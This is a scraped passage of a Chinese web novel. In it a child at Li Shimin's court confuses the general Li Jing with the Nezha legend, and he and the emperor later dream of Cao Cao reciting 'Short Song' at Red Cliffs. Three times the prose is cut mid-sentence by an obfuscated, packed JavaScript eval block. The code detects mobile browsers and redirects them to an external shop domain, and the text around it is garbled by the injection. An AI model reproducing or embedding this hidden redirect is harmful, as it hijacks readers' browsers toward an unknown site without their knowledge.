就在这千钧一发、所有人都屏住呼吸等着看哪吒如何教训李靖的终极时刻,梦境毫无征兆地、像一面被重锤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114029|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击碎的琉璃,“哗啦”一声彻底崩散! 两仪殿偏殿。 李世民猛然睁眼,窗外虫鸣聒噪,阳光将御案一角晒得发烫。他定了定神,首先侧头看向脚踏。 景颐也几乎同时惊醒。 孩子显然还完全被困在那戛然而止、憋屈到极点的梦境情绪里。 他猛地坐直了身子,小脸涨得通红,胸口剧烈起伏,眼睛里蓄满了未散的怒火和为哪吒鸣不平的急切水光。 他嘴唇哆嗦着,无意识地重复:“……坏……太坏了……怎么能这样……” “景颐?”李世民唤他,声音带着刚醒的微哑,试图将孩子拉回现实。 景颐闻声,茫然地转过头。他看到李世民,又看看周围熟悉的宫殿,愣了一瞬。 但梦境最后那声醒木的炸响,说书人控诉的语气,茶客们的怒骂,尤其是李靖打烂哪吒庙的画面感,太过鲜明强烈,瞬间压倒了刚刚回归的现实感。 那不是听说的故事,那是他刚刚亲眼看到、亲耳听到的正在发生的恶行! 就在此时,殿外传来内侍清晰平稳的通传: “启禀陛下,兵部尚书、卫国公李靖,奉召于殿外候见。” “李靖”二字,如同投入烈火的热油。 景颐本就不清醒的脑子一下子被点燃。 所有的困惑、迷糊,被一股纯粹、炽烈、源于童稚本能的路见不平的怒火彻底焚烧殆尽。 景颐“噌”地一下从脚踏上跳起来,连怀里的鲁班锁掉了都顾不上,像个小炮弹,“噔噔噔”就朝殿门方向冲去! “景颐!不可!”李世民一惊,起身欲拦。 晚了。 偏殿门被轻轻推开,一身紫色绣狮补子朝服、面容沉静、正准备按礼制躬身入内的卫国公李靖,刚迈过门槛,就觉一道裹挟着怒气的月白色小影子,“呼”地一下冲到面前,拦住了去路。 李靖脚步倏停,低头。 只见那位深得帝后宠爱、颇有些奇异处的景颐小郎君,正仰着一张气得通红、几乎要哭出来的小脸,那双总是灵动好奇的眼眸里,此刻燃烧着赤裸裸的、仿佛看十恶不赦之徒般的愤怒与谴责。 孩子小小的胸膛急剧起伏,伸出小手指,颤抖着指向他,用尽全力、字字泣血般地尖声质问道: “李将军!你为什么这么坏!为什么要逼死你自己的儿子哪吒!他都把骨头和肉还给你了!你还要烧他的房子和拆他的庙!你、你是个不讲道理的坏爹爹!我要告诉师父!告诉大姐姐!让他们都不理你!让大家都不和你玩!” 稚嫩的童音响彻偏殿,余音袅袅。 李靖:“……” 他脸上的肃穆瞬间冻结,化为一片纯粹的、极致的茫然。 他维持着半躬身的姿势,看了看眼前义愤填膺的小豆丁,又缓缓抬起眼,看向御案后那位以手扶额、肩膀可疑地微微抽动、似乎正在极力忍耐着什么的陛下。 这位一生经历无数大风大浪、算计过敌国、指挥过千军万马的军神,此刻脑中只剩下一个巨大的、盘旋的问号: ……哪吒?谁? 我儿子?逼死?剔骨还肉? 20. 第 20 章 案后,大唐天子李世民,已经重新坐回了龙椅。 他一只手死死攥着拳抵在唇边,肩膀耸动,额头青筋隐隐跳动,整张脸憋得通红,显然是动用了毕生的帝王修为,才勉强将那即将冲破喉咙的、惊天动地的爆笑给死死摁了回去。 陛下此刻的表情,比任何军情急报都让李靖感到匪夷所思,且隐隐有不祥的预感。 李靖深吸一口气,迫使自己冷静。他重新看向眼前这位显然情绪失控的小贵人,试图理解这匪夷所思的指控。 他斟酌着词语,用尽可能温和、清晰,且确保陛下也能听清的声音,一字一句地、困惑至极地缓缓问道: “景颐小郎君,且先息怒,敢问……” “哪吒,是谁?” “在下只有德謇、德奖二子,此刻皆在府中安好,并无名唤哪吒者。” “至于逼死、剔骨还肉、拆庙……” 这位为大唐立下不世之功的军神,此刻的语气里,充满了真诚的、纯粹的、百思不得其解的困惑,以及一丝几乎要满溢出来的无辜: “在下,近日连府中祠堂都未曾踏入修缮,更遑论拆毁他人庙宇,小郎君,是否认错了人?” 李靖那真诚到近乎无辜的困惑,像一瓢冰水,兜头浇在景颐熊熊燃烧的怒火上,滋啦冒起一阵茫然的青烟。 孩子愣住了,小脸上的愤怒凝固,转为一种你怎么能不知道的难以置信和更深的憋屈。 他张了张嘴,想再说“我明明看见了”,可看着李靖那双写满我完全不明白你在说什么的、严肃又困惑的眼睛,再看看御案后李叔叔那副快要憋出内伤、肩膀抖得像风中落叶的模样,一股更大的委屈涌了上来。 “你、你骗人!”景颐的指控带上了哭腔,但他自己也说不出更多证据了,只能重复,“你就是干了!我看见了!” 殿内侍立的内侍和门口当值的侍卫,此刻个个低眉垂目,仿佛化作了没有呼吸的泥塑木雕。 只是那微微抽动的眼角和紧绷的嘴角,泄露了他们正在经历何等艰难的表情管理修行。 有个年轻的内侍实在没忍住,鼻腔里发出一声极轻的、被强行扭曲的“吭哧”声,立刻被旁边年长的同伴用眼神狠狠剜了一下。 李世民终于从那种濒临爆笑的窒息边缘缓过一口气。他重重咳嗽了几声,借以掩饰喉咙里的笑意,整了整神色,努力让自己的声音听起来威严且正常。 “景颐,不得无礼。”他声音微沉,目光先扫过景颐,“李卿乃国之柱石,岂会行此荒诞之事?你定是方才睡魇着了,将梦中幻影当了真。” 随即,他看向依旧保持着行礼姿态、满脸写着臣需要一个解释的李靖,语气放缓,带上一丝不易察觉的、混合着调侃与安抚的意味:“药师,且平身。此事……说来有些荒唐。” 李靖直起身,目光沉静地望向皇帝,等待下文。他戎马半生,什么阵仗没见过?但被一个孩童指着鼻子骂坏爹爹、拆庙恶人,这还真是开天辟地头一遭。 李世民斟酌着词句,尽量将此事解释得既维护李靖尊严,又能让景颐接受: “景颐年幼,心思单纯。方才我与他于此小憩,或许沾染了些许旧物气息,入了异梦。梦中见闻光怪陆离,有一演义,其中大将,姓名恰与卿相同,行事……嗯,颇为特异,引得景颐义愤填膺。方才醒来,神思未清,又恰闻卿至,故有此误会。” 景颐听着李叔叔的解释,小眉头皱得紧紧的。 “梦?” 他低头看看自己的手,又看看一脸严肃且无辜的李靖将军,再回想梦里茶楼的热闹和说书人的激昂…… 好像,真的是梦?可是感觉那么真…… 李靖何等人物,立刻抓住了关键:“陛下之意是,小郎君梦中所闻,乃有人假托臣之名,编撰之离奇故事?” “大抵如此。”李世民点头,唇角又忍不住微微上扬,“故事中,卿为陈塘关总兵,有一子名哪吒,乃灵珠转世,闹海弑龙,后剔骨还父。情节跌宕,引人入胜,只是其中父子伦常,与卿平生素行,可谓南辕北辙。” 他特意强调了平生素行,算是为李靖正名。 李靖闻言,沉默了。片刻后,他竟轻轻叹了口气,那叹息里混杂着荒谬、无奈,以及一丝极淡的、对于身后名竟以如此匪夷所思方式被演义的感慨。 他再次向李世民躬身:“原来如此。臣,明白了。” 随即,他转向依旧气鼓鼓又有些茫然的景颐,竟郑重其事地拱手,语气认真道:“景颐小郎君仗义执言,明辨是非,赤子之心,令人感佩。然此李靖确非臣下,其中冤屈,还望小郎君明察。” 这番以退为进、一本正经的澄清,配上他严肃无比的表情,反而让场面更添了几分难以言喻的滑稽。 景颐脸上的愤怒和指控,如同潮水般褪去,露出底下大片的茫然,然后迅速被一种更强烈的情绪覆盖——恍然大悟后的巨大尴尬和羞惭。 他……他好像真的弄错了。 李叔叔说那是梦,是故事。李将军说自己根本不认识哪吒,只有两个儿子。 而且,李将军看起来,一点也不像梦里那个会被茶客们一起骂的坏爹爹,他站得笔直,眼神虽然困惑却很正,跟师父有时候教训自己时的严肃有点像,但,不坏。 “真、真的不是将军你啊?”景颐最后小声确认了一遍,声音已经没了底气。 “千真万确。”李靖斩钉截铁,甚至又补充了一句,“臣府中后院,只有一处练箭的靶场,并无庙宇可拆。” 这句一本正经的补充,成了压垮景颐理直气壮的最后一根稻草。 景颐的小脸“唰”地一下红透了,连耳朵尖都染上了粉色。 他看看御案后嘴角还在可疑抽动的皇帝伯伯,再看看眼前一脸认真严肃等着自己回答的李靖将军,巨大的羞耻感和冤枉好人的愧疚感瞬间淹没了他。 下一秒,在李世民和李靖都没反应过来时,景颐一把抱住了李靖穿着朝服、有些硬邦邦的腿,把发烫的小脸埋在上面,闷声闷气、又快又急地喊: “对不起!李将军!我错了!我不该没看清楚就骂你!你是好将军!不是坏爹爹!对不起对不起!” 喊完,他还不肯抬头,小脑袋在李靖腿上蹭了蹭,仿佛这样就能把刚才那些坏蛋、大坏蛋的指控给蹭掉。 李靖:“……” 这位身经百战的军神,身体几不可察地僵了一下。 腿上传来孩子温热的体温和柔软的触感,还有那闷声闷气却无比真诚的道歉。 一生面对过刀剑、阴谋、千军万马都未曾动摇的心绪,此刻竟被这突如其来的抱腿道歉弄得有些无措。 他下意识地想退开,又觉得不妥,想伸手摸摸孩子的头表示接受了,似乎又与场合身份不合。 他只好维持着笔挺的站姿,略显僵硬地低头,看着那颗埋在自己腿上的、毛茸茸的、发顶还有两个小鼓包的脑袋,向来沉静的声音里难得带上了一丝无奈的温和: “……无妨。小郎君既知是误会,便好。” “噗——哈哈哈哈!”御案后,终于再也忍不住的李世民,彻底破功,畅快淋漓的大笑声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114030|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲破了之前所有的忍耐,回荡在偏殿之中。 他一边笑,一边指着这对组合,对闻声忍不住偷看的内侍们道,“快、快记下来!卫国公李药师,两仪殿遭稚子抱腿鸣冤,后又获抱腿致歉……哈哈哈!此等奇景,当载入朕的私记!” 景颐听到皇帝伯伯的大笑,更羞了,抱着李靖腿的胳膊更紧了,仿佛这里能遮羞。 李靖感受着腿上的重量和陛下毫不留情的笑声,脸上那万年不变的严肃,终于裂开了一道细缝,化作一抹极其细微的、混合着无奈、好笑和一丝纵容的弧度。 经此一役,李将军的冤案算是当场昭雪,而卫国公李靖的腿上,大概也永远留下了某个小麒麟知错就改的温暖印记。 然而,事情并没有结束。 卫国公被景颐小郎君当殿质问是否为坏爹爹这等奇闻,如何能瞒得过宫中无处不在的耳目? 尤其当时殿内外尚有数名宫人侍卫,不过半日,这桩轶事便如同长了翅膀,在皇城有限的范围内,以一种心照不宣的方式悄然流传开来。 起初,还只是小郎君梦魇,错认卫国公的模糊说法。 但不知是哪位想象力丰富的仁兄,将梦魇里的哪吒联系上毗沙门天王之子哪吒,又添油加醋了几分,竟与后世流传所差无几。 于是,流言迅速演变为: “卫国公李药师,被景颐小郎君梦中所见之前世恶行牵连,当殿遭斥逼死亲子、毁庙绝祀!” 细节越发栩栩如生,甚至衍生出“小郎君涕泪俱下,为那子鸣冤”,“卫国公百口莫辩,陛下抚案大笑”等多个版本。 几日后朝会,气氛便有些微妙。 文武百官鱼贯入殿,按班次站定。当李靖身着紫色朝服,面无表情、步履沉稳地走入武班前列时,无数道或好奇、或探究、或蕴含着难以言喻笑意的目光,悄无声息地落在他挺直的背脊上。 中书舍人岑文本,素来与李靖交好,趁陛下尚未升座,捻须低声笑道:“药师兄,听闻昨日两仪殿中,有一桩的公案?不知可需老夫代为斡旋一二?” 语气里的调侃几乎不加掩饰。 旁边几位大臣闻言,纷纷以袖掩口,肩膀微耸。 李靖目不斜视,只从鼻子里几不可闻地“嗯”了一声,淡淡道:“景仁说笑了。子虚乌有之事,何劳斡旋。” 然而,这并未阻止同僚们的“热情”。 下朝后,几位较为随性的武将围了上来。程知节嗓门洪亮,蒲扇般的大手拍在李靖肩上,哈哈笑道: “好你个李药师!平日一副正人君子模样,没想到前世还是个总兵,连儿子都那般了得!改日也教教俺老程,如何生出这般本事的娃娃?啊?是不是有什么秘法?” 说罢,自己先笑得前仰后合。 尉迟敬德也捻着虬髯,故作沉思状:“陈塘关也不知在何处?改日得了空,定要去寻寻药师的前世府邸,看能否找到那莲花池子!” 连一向持重的房玄龄,在前往政事堂的路上遇见李靖,都忍不住含笑低声问了一句:“药师,可曾梦回陈塘关?” 李靖饶是定力过人,面对同僚们花样百出的调侃,额角青筋也不由得跳了几跳。他面沉如水,一律以“荒谬之言,不足挂齿”回应,脚步却比平日快了几分,只想尽快离开这是非之地。 这桩哪吒公案成了贞观四年秋天,大唐一个心照不宣的快乐源泉。 李靖走到哪里,似乎都能感受到身后那一道道憋着笑的目光。 连东宫之中,太子承乾从伴读那里听闻此事后,再见李靖授课时,眼神都多了几分奇异的好奇。 21. 第 21 章 九月,长安的暑气终于肯收敛几分锋芒,早晚的风里透出丝丝清爽。 御花园里的桂花开了第二茬,甜香被风卷着,悄悄溜进立正殿半开的窗棂。 凝云轩的翠竹尖梢已染上些许焦黄,阶下秋菊含苞。 长琴离宫已近两旬,他传回一缕极简的弦音讯息,只道“诸事渐安,归期未定,颐儿勿念”。 景颐倒不太念。他近来颇有些烦恼。 因前次哪吒公案闹了大笑话,他虽得了李将军宽容的谅解,还被大姐姐温柔开解了一番故事与真人的区别,心里总憋着股劲儿,觉得自己该更明理些。 这几日,他不再只缠着丽质和雉奴疯玩,竟主动央了大姐姐,磕磕绊绊认起《千字文》来。 只是每每念到“天地玄黄,宇宙洪荒”,脑子里便不由自主飘过爹爹带他看过的沧海雪原,心想那宇宙洪荒,是不是就像大漠落日那般壮阔又寂寞? 这日午后,秋阳暖融。李世民难得有半日清闲,未去两仪殿,只命内侍将一摞批阅过的奏章与几卷《三国志》注本搬到立政殿暖阁。 他斜倚在临窗的软榻上,就着明亮天光,重读魏武纪。 景颐挨着他坐在脚踏上,面前摊着本《千字文》,手里却无意识地把玩着李世民腰间的玉珠串,那光滑微凉的玉珠,在他指尖拨弄下发出细碎的、悦耳的撞击声。 暖阁内静谧,只闻书页翻动的沙沙声,玉珠轻响,以及炭火上银壶煮茶的咕嘟声。 李世民读至建安十三年,曹操下荆州、刘琮降、刘备败走、率军南下意欲一统…… 这段历史他早已烂熟于心,此刻重读,心思却飘得更远。 他合上书卷,望向窗外庭院中开始飘落的梧桐叶,心中忽然涌起一股复杂难言的情绪。 那曹操,出身官宦,少机警,任侠放荡,于乱世中奋起,挟天子以令诸侯,扫灭群雄,至此时,拥兵数十万,据中原膏腴之地,文有荀彧郭嘉,武有张辽夏侯,其势之盛,几有囊括四海、并吞八荒之象。 此等人物,此等功业,与自己何其相似,又何其不同? “设使天下无有孤,不知当几人称帝,几人称王。” ① 史书中曹操此言,其自负、其霸气、其睥睨天下又隐含无奈的心境,穿越数百年光阴,竟在此刻与他微妙共鸣。 “称帝……称王……”李世民无意识地低声重复,指尖轻轻敲击书卷。 巅峰之上,风光无限,然下一步,是踏云直上九霄,还是一步踏空,万劫不复? 曹操旋即有赤壁之败,那自己的“赤壁”呢?该当如何能避免此败? 他思绪翻腾,胸中既有对英雄事业的激赏与共鸣,亦有对历史无常的深沉戒惧。 这份强烈而复杂的追昔抚今之情,混杂着他身上那日益凝练磅礴的帝王气运,无形中形成了一股特殊的气场。 坐在他脚边、正拨弄玉珠的景颐,忽然停下了动作。 孩子觉得周遭的空气似乎变得浓稠了。 不是压抑,而是一种沉甸甸的、暖洋洋的,仿佛泡在温泉水里的感觉。 李叔叔身上,好像散发出一种看不见的、金色的光,把自己也裹了进去。 耳边似乎响起许多遥远的声音,有战马嘶鸣,有刀剑交击,有慷慨激昂的吟诵,也有沉重的叹息,混在一起,像一场盛大而混乱的合唱。 他茫然抬头,看向李世民。李叔叔正望着窗外出神,眉头微锁,侧脸在秋阳下显得格外深邃。 景颐忽然觉得心口有点热,一种难以言喻的冲动涌上来。 他想靠近些,听得更清楚些,看得更明白些,李叔叔在想什么?那些声音是谁的? 他不知不觉松开了珠串,小手轻轻搭在了李世民放在榻边的手背上。 指尖相触的刹那,仿佛有根无形的弦被重重拨响。 不再是之前几次如水纹荡开的晕眩,这一次的感觉更清晰、更有力,像被一股温和却不容抗拒的洪流卷起,投向一个早已在时光中定格、却因强烈的精神印记而依旧鲜活的方位。 暖阁的景象如水墨褪色。景颐感到自己小小的、半透明的身体被那金色的暖流包裹着,向前飞掠。 耳边那些混乱的合唱骤然清晰、汇聚,最终化为一种铺天盖地的、混合着江水腥气与雄浑男声吟咏的宏大交响! 脚下一实。 眼前豁然开朗! 没有茶楼,没有街市。他们站在一片无边无际的、灰蒙蒙的浩渺水面上。 不,是停在水中! 脚下是坚实厚重的木板,环顾四周,是如山峦般巍峨耸立的巨大船影,一艘连着一艘,以粗大的铁索连环相接,几乎铺满了整个江面。 船上旌旗招展,在带着湿气的夜风中猎猎作响,旗上赫然是个巨大的“曹”字。 夜空无云,一轮将满未满的明月高悬,清辉洒下,将连环战船、如林樯橹、还有远处影影绰绰的南岸山影,照得一片银白。江水在船隙间流淌,泛着碎银般的光。 “这、这是……”李世民纵然心志坚毅,也被这突如其来、磅礴到令人窒息的景象震得心神摇曳。 眼前这支水师的规模,若与他平灭辅公祏时所倚仗的大唐舟师相比,自然远远不及。 他亲睹过艨艟巨舰如移动山岳,楼船层叠似水上城阙,那才是真正的帝国水师气象。 然而,此刻心中涌起的,并非轻视,而是一种更为深沉、近乎喟叹的激赏。 “虽不及我朝百一之盛,”李世民心中暗忖,目光却灼灼生辉,仿佛穿透了时光,“然此等开创气象,披荆斩棘之勇,何其壮也!” 景颐则完全被这新奇壮阔的景象迷住了。他忘了害怕,瞪大眼睛,小嘴微张,指着那些高耸的楼船和船上密密麻麻、甲胄反射着月光的兵士:“李叔叔!好多大船!比我们看的龙舟还大!亮晶晶的!” 就在这时,一阵浑厚豪迈的大笑声自前方最大的楼船顶层传来。 那笑声极具穿透力,带着志得意满的畅快,瞬间压过了江风与波涛声。 李世民与景颐循声飘去。 只见那艘最为巨大的楼船顶层,已被布置成临时的宴饮之所。四周燃着粗如儿臂的巨烛,照得灯火通明。 数十名文武僚属依序而坐,皆着锦衣,面前案几上陈列酒肉。主位之上,一人按剑而立。 此人身材不高,却极雄壮,面皮微黑,细目长髯,身着锦袍,外罩赤色大氅。虽已年过五旬,顾盼之间,目光如电,一股睥睨天下的枭雄气度沛然莫御。 正是曹操,曹孟德。 他手持一柄长约丈余、通体黝黑、矛头闪着寒光的长槊。 此刻酒意已酣,他离席起身,横槊立于船头,望着江中月影,万船灯火,文武济济,忽觉豪情满怀,不可抑制。 “吾持此槊,破黄巾,擒吕布,灭袁术,收袁绍,深入塞北,直抵辽东,纵横天下,颇不负大丈夫之志也!” ② 声若洪钟,在江面上回荡。文武皆屏息聆听,目露敬服。 景颐虽听不懂那些具体事迹,却深深被这气氛感染。他觉得这位黑胡子爷爷好威风!说的话好有力量!比说书先生讲的还带劲! 他忍不住也跟着挺起小胸脯,仿佛自己也能纵横天下似的,还兴奋地扯了扯李世民的袖子,激动地说:“李叔叔!这个爷爷好厉害!” 李世民心中亦是波澜起伏。亲眼见此人此景,方知史书所载“酾酒临江,横槊赋诗”八字,是何等气象! 他扪心自问,若自己处于此番功业巅峰,面对此情此景,是否也能有这般挥洒自如、睥睨古今的豪情? 大概也会有的。他不自觉地被这股豪情感染,胸中块垒似被冲开,连日思虑的沉重暂且抛却,竟也生出几分“大丈夫当如是”的激赏与共鸣,嘴角不知不觉,也泛起一丝笑意。 此时,曹操将槊尖指向江心月影,朗声吟道: “对酒当歌,人生几何! 譬如朝露,去日苦多。 慨当以慷,忧思难忘。 何以解忧?唯有杜康。”③ 诗句苍凉而慷慨,既有对人生短暂的喟叹,更有及时建功的迫切。李世民精通诗文,对这首《短歌行》自然喜爱。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114031|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗气韵,确非常人可及。 景颐听得半懂不懂,只觉得调子好听,抑扬顿挫,尤其是“慨当以慷”几个字,念得他小心脏也跟着一颤一颤的,竟不由自主地跟着那韵律,小脑袋一点一点,小手也跟着在空中轻轻打着拍子。 他完全沉浸在这从未体验过的、混合着雄壮、苍凉与激越的奇异氛围里,小脸上满是兴奋的红晕。 曹操吟罢一段,略作停顿,目光扫过席间众臣,扫过连环战船,扫过茫茫大江,复又提高声量,其声更加激昂: “青青子衿,悠悠我心。 但为君故,沉吟至今。 呦呦鹿鸣,食野之苹。 我有嘉宾,鼓瑟吹笙。” 此句一出,席间文武多有动容。李世民亦是一怔。这求贤若渴之意,殷殷切切,与他“天下英雄入吾彀中”之志,何其相似! 他望着曹操那于豪迈中透出真诚求索的侧影,心中那点因历史结局而生的疏离与批判,竟淡去了几分,取而代之的是一种跨越时空的、对同道者的复杂理解。 景颐更来劲了,他虽然不懂“子衿”、“鹿鸣”的典故,但那“青青”、“呦呦”的叠词好听,节奏明快,他忍不住跟着小声哼哼起来,还模仿着曹操横槊的姿态,捡起地上一根不知谁遗落的短木棍,假装自己也有长槊,笨拙却努力地想要横起来。 曹操浑然不觉有两个跨越时空的旁观者,他已完全沉浸在自身情绪与创作之中,槊尖遥指南岸,声震夜空: “明明如月,何时可掇? 忧从中来,不可断绝。 越陌度阡,枉用相存。 契阔谈讌,心念旧恩。” 诗句由求贤转入更深沉的忧思与感怀。那“明明如月,何时可掇”之问,何尝不是对圆满功业、对理想境界的渴求与迷茫? 李世民听至此处,方才被带起的豪情稍敛,心中警钟微鸣。巅峰之上,月明至极,然月满则亏,水满则溢。 这诗中流露的忧思,是诗人才情,还是这位一世枭雄,在志得意满之时,心底深处那一丝连自己都未必全然察觉的不安? 他看向曹操。月光下,曹操长髯飘拂,眼中映着江火,豪情之下,那细长的眼眸深处,确有一抹极淡的、难以捕捉的沉郁。 而景颐,听到“忧从中来”,虽不明白具体忧什么,却也能感觉到气氛从刚才的纯粹激昂,变得稍微沉了一点。 他停下挥舞“木槊”,眨巴着眼睛看着曹操,小声对李世民说:“李叔叔,黑胡子爷爷好像有点不高兴了?” 最后,曹操深吸一口江上夜风,将长槊重重一顿,甲板发出“咚”一声闷响,吟出最后、也最为后世传诵的四句: “月明星稀,乌鹊南飞。 绕树三匝,何枝可依? 山不厌高,海不厌深。 周公吐哺,天下归心!” “好!好一个‘天下归心’!”席间,一个清瘦的文士忍不住击节赞叹。众文武亦纷纷举杯,齐声贺道:“丞相雄才,天下归心!” 声浪震天,与江涛相应和。 曹操哈哈大笑,举槊向月,意态豪雄,仿佛天下已在掌中。 景颐也被这最后爆发的热烈气氛重新点燃,跟着众人一起“嗷嗷”叫好,举着他的小木棍乱挥,简直比正主还兴奋。 然而,就在这盛宴达到最高潮、豪情与信心似乎膨胀到极致的时刻,梦境毫无征兆地开始波动、淡化。 江月、战船、灯火、曹操那傲然的身影、文武喧哗…… 一切如同被水浸湿的壁画,色彩迅速褪去、模糊、溶解。 “哎?怎么没了?” 景颐正挥舞木棍,忽然手上一空,眼前的壮丽景象消失,只剩一片旋转的黑暗,他着急地叫起来,“我还没看够呢!黑胡子爷爷的诗还没念完别的吗?” 李世民亦是心中一空,那澎湃的共鸣与复杂的思虑尚在胸中激荡,场景却已抽离。 他最后一眼,只瞥见曹操在众人的欢呼声中,那转瞬即逝的、微微眯起的眼眸,以及江对岸黑暗中,仿佛潜藏着无尽未知的、沉默的南岸山影。 22.第 22 章 下一瞬,脚踏实地。 仍是立政殿暖阁。秋阳斜照,茶香依旧,书卷还摊在榻上。 李世民缓缓吐出一口长气,仿佛将梦中那江风冷冽、豪情与忧思交织的气息一并吐出。他低头,看向身旁。 景颐也刚“回来”,小脸上兴奋的红潮还未褪尽,眼睛亮得惊人,手还保持着虚握的姿势,仿佛那根小木棍还在。 他抬头,迫不及待地问:“李叔叔!我们是不是又做梦了?去了一个好大好大的水上!那个黑胡子爷爷是谁?他好厉害!诗念得真好听!还有那些船!比宫里的湖还大!” 景颐连珠炮似的问题,带着纯粹的惊叹与欢快,将李世民从深沉的历史思绪中拉回些许。 他笑了笑,揉了揉景颐的脑袋,并未直接回答,而是问:“颐儿喜欢那个爷爷念的诗?” “喜欢!”景颐用力点头,“虽然有些听不懂,但是感觉、感觉心里热热的,想跟着一起喊!” 他顿了顿,又有些不好意思, “就是最后,好像黑胡子爷爷自己也有点难过了?是不是诗念得太用力,累了?” 童言稚语,却再次无意中点破关键。 李世民默然。是啊,诗念得太用力,是不是也意味着,心弦绷得太紧? 那“忧思难忘”,那“忧从中来”,那“何枝可依”的彷徨……在“天下归心”的万丈豪情之下,是如此真实而刺眼。 “他不是累了。”李世民望着窗外渐沉的落日,缓缓道,“他是站在太高处,看得太远,想得太多。” 景颐似懂非懂。 几日后,长琴终于回到了凝云轩。 景颐立刻叽叽喳喳将黑胡子爷爷念诗的奇梦说给师父听,还努力模仿那横槊的姿态,背了几句支离破碎的“对酒当歌”。 长琴静静听着,待景颐说完,才看向一旁神色平静却目光深邃的李世民。 “陛下此次所见,非市井虚谈,乃文魄诗魂,附着于浩大历史气运之上,凝结而成的精神景致。”长琴道, “景颐近来受陛下气运熏陶,灵觉愈敏,方能引陛下同观此象。此象真伪参半,然其中英雄心绪、盛衰之理,却比许多真实史迹,更堪玩味。” 李世民颔首:“我明白。见其豪情,亦见其忧思,慕其功业,亦警其巅危。此梦来得正是时候。” 他顿了顿,问道,“仙长此回流云境,可还顺利?” 长琴眸光微动,掠过一旁正努力回忆诗句的景颐,缓声道:“大致线索已查明。此外,偶翻旧卷,见麒麟一族古记有载,幼麟天赋成长,除血脉与历练外,亦与所近气运的强度与特质有关。陛下身负昌明气运,对景颐而言,既是滋养,亦是牵引。” 他未尽之意,李世民已然领会。景颐能力的成长,与自己息息相关。 窗外,秋意渐深。 —— 深秋的长安,天高云淡。 凝云轩里,景颐正对着一盘新得的益智图较劲。这是长孙皇后听说他近日好学,特意命尚功局做的,木片上还描着淡淡的金漆,拼出图案来熠熠生辉。 可他拼了半个时辰,不是这里多一块,就是那里缺个角,总是拼不成画册上那只威风凛凛的老虎。心里那股因为努力学习而憋着的劲儿,渐渐被烦躁取代。 “不玩了!”他把木片一推,决定遵从内心最真实的渴望——出去野。 师父不知道又去了哪里,李叔叔在和大臣们议事,丽质阿姊要学女红,雉奴在睡午觉。嬷嬷们被他以“就在附近走走,绝不出宫”为由暂时稳住。 他像只出了笼的小雀儿,开始在宫苑里漫无目的地探险。路过的侍卫宫女早已见怪不怪,只远远看着,确保他不去危险之处。 不知不觉,他穿过了一片平日少有人至的竹林,眼前出现一座灰瓦青砖、形制有些奇特的独立院落。院门敞开,门楣上悬着块匾,写着两个他刚认得的字——司天。 里面静悄悄的,隐约有股好闻的、类似檀香又混合了纸张和金属的味道飘出来。景颐抽抽鼻子,好奇心大起,蹑手蹑脚地蹭了进去。 景颐扒着门框,探进半个小脑袋。 院子中央立着个巨大的、满是铜环圈圈的古怪家伙,在阳光下闪闪发亮。旁边石台上斜放着一个带刻度的铜盘子。墙角还堆着些奇形怪状的木架和铜器。 “哇……”景颐眼睛亮了。这可比益智图好玩多了! 他蹑手蹑脚溜进去,先凑到浑天仪底下,仰头看那些刻在铜环上的星星点点。看了一会儿,他小手痒痒,踮起脚,伸出食指,小心翼翼地戳了戳最低处一个刻着兔子图案的铜环。 铜环纹丝不动。 他又加了点力。 还是不动。 景颐鼓起腮帮子,后退两步,做出助跑的架势,准备用脑袋撞一下试试。 “咳。” 一声极轻的咳嗽,带着明显的憋笑意,从他身后传来。 景颐吓了一跳,猛地转身,差点左脚绊右脚把自己摔个跟头。幸好一只温暖的手及时扶住了他的小肩膀。 扶他的人,是个穿着浅青色常服、头戴小冠的伯伯。面容清瘦,胡子修剪得整整齐齐,眼睛很亮,正含笑看着他,像看着什么有趣的小动物。 “小友对这浑天仪感兴趣?”伯伯声音温和,松开了手。 景颐站直,有点不好意思,但更多的是好奇:“伯伯,这是什么东西呀?好大的圈圈!” “此乃浑天仪,用以演示星辰运行。”李淳风耐心解释,指了指天上的太阳,“你看,我们以为日头东升西落,实则大地也在转动。这仪器,便可模拟此理。” 景颐听得半懂不懂,但“演示星星”几个字他听明白了,立刻来了精神:“那它能演示所有星星吗?最亮的那颗!还有、还有牛郎织女星!” 李淳风莞尔:“自然可以。不过牛郎织女,此刻白日不可见,需待七夕之夜,银河清晰时,指与小友看更妙。” 他顿了顿,打量着眼前灵气逼人的孩子,心中已有猜测,“小友可是……住在凝云轩?” 